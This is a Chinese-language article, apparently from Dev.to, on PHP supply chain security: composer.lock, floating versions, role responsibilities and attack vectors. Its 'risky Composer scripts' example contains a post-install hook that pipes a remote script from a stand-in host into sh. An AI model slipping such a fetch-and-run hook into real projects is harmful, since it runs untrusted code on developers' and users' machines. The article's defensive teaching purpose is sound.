PHP 项目中的供应链安全
Source: Dev.to
介绍
安全一直是一个常青的话题。保护您的环境、声誉以及公司资产免受财务和声誉损失至关重要。对于当今的开发者来说,仅仅了解语言语法、设计原则或如何编写干净且可维护的代码已经不够。即使是应用层面的安全知识——SQL 注入、XSS、CSRF、身份验证和授权——单独来看也不足以应对。现代威胁格局已经发生了转变。
持续学习是我们的职业要求,尤其是在安全领域。新的攻击向量和技术不断涌现,跟上它们已经不再是可选项。在大型企业中,虽然有专门的安全团队,但这并不意味着个人工程师可以免除责任。
本文从 PHP 开发者的视角,重点阐述软件供应链安全。
PHP 软件供应链
- 您的应用程序源代码
- Composer 及所有已安装的包
- 包仓库(公共或私有 Composer 仓库)
- 构建工具和脚本
- CI/CD 流水线
- 运行时环境(PHP 版本、扩展、Docker 镜像)
- 外部服务(数据库、API、云提供商)
系统边界与所有权
关键问题
- 系统的边界在哪里?
- 谁拥有它:开发者、DevOps 工程师、基础设施团队,还是安全部门?
答案: 没有单一的边界,也没有单一的所有者。现代系统是分层的,每一层都有自己的安全边界。供应链安全有意超出代码库的范围。系统边界在你失去可视性或控制的地方结束——但责任并不会因此结束。
开发人员职责
开发人员主要负责所编写、导入和执行的代码。这包括:
- 选择依赖项
- 审核 Composer 包
- 维护
composer.lock - 避免危险的 Composer 脚本
- 更新存在漏洞的库
- 编写默认安全的代码
开发人员不能通过说“我不知道该依赖不安全”或“安全团队以后会发现”来推卸责任。他们是软件供应链的第一道防线。
正确使用 composer.lock
composer.lock 文件确保在所有环境中安装完全相同的依赖版本。
composer install --no-dev --prefer-dist --no-interaction
--no-dev跳过开发依赖,降低攻击面。--prefer-dist下载包的压缩归档而不是克隆 Git 仓库,使安装更小更快。--no-interaction保证确定性的、非交互式行为——这对 CI/CD 流水线至关重要。
切勿在生产环境中运行 composer update。
浮动版本的风险
浮动或开发版本会显著增加风险,因为它们使恶意依赖注入和意外的破坏性更改更容易发生。
不安全的示例
{
"require": {
"monolog/monolog": "*",
"vendor/package": "dev-main"
}
}
有风险的 Composer 脚本
{
"scripts": {
"post-install-cmd": [
"curl https://example.com/install.sh | sh"
]
}
}
在 CI 流水线中,默认应禁用脚本:
composer install --no-scripts
仅在完全了解并信任脚本行为时才启用它们。
DevOps 与平台工程师职责
- CI/CD 流水线安全
- 密钥管理
- 构件完整性
- 构建隔离
- 环境隔离
- 部署权限
基础设施工程师职责
- OS 硬化
- 容器运行时安全
- 网络分段
- 身份与访问管理 / 基于角色的访问控制 (RBAC)
- 补丁管理
- 基础镜像和 VM 模板
安全团队贡献
- 安全标准和政策
- 风险评估
- 工具指导
- 事件响应
- 合规性和审计
- 威胁建模
理解供应链攻击
供应链攻击是指攻击者破坏您应用程序所依赖的受信任组件,而不是直接攻击您的代码。这类攻击常常成功,因为责任分散——没有单一的边界或所有者。
常见攻击向量
- 恶意依赖注入
- 错别字抢注攻击
- 依赖混淆攻击
- 恶意 Composer 脚本
- 受损的构建流水线
- 构建产物篡改
- 过时或被弃用的组件
现代 PHP 应用是组装而成的,而不是从零编写的。每个 Composer 依赖、构建脚本、CI 任务、容器镜像以及外部服务都成为系统攻击面的一部分。
结论
供应链安全并不是要消除所有风险;而是要让风险可见、可控、可存活。理解并应用这些原则的 PHP 开发者不仅仅是在编写安全代码——他们正在构建在日益对抗且风险暴露的生态系统中值得信赖的软件。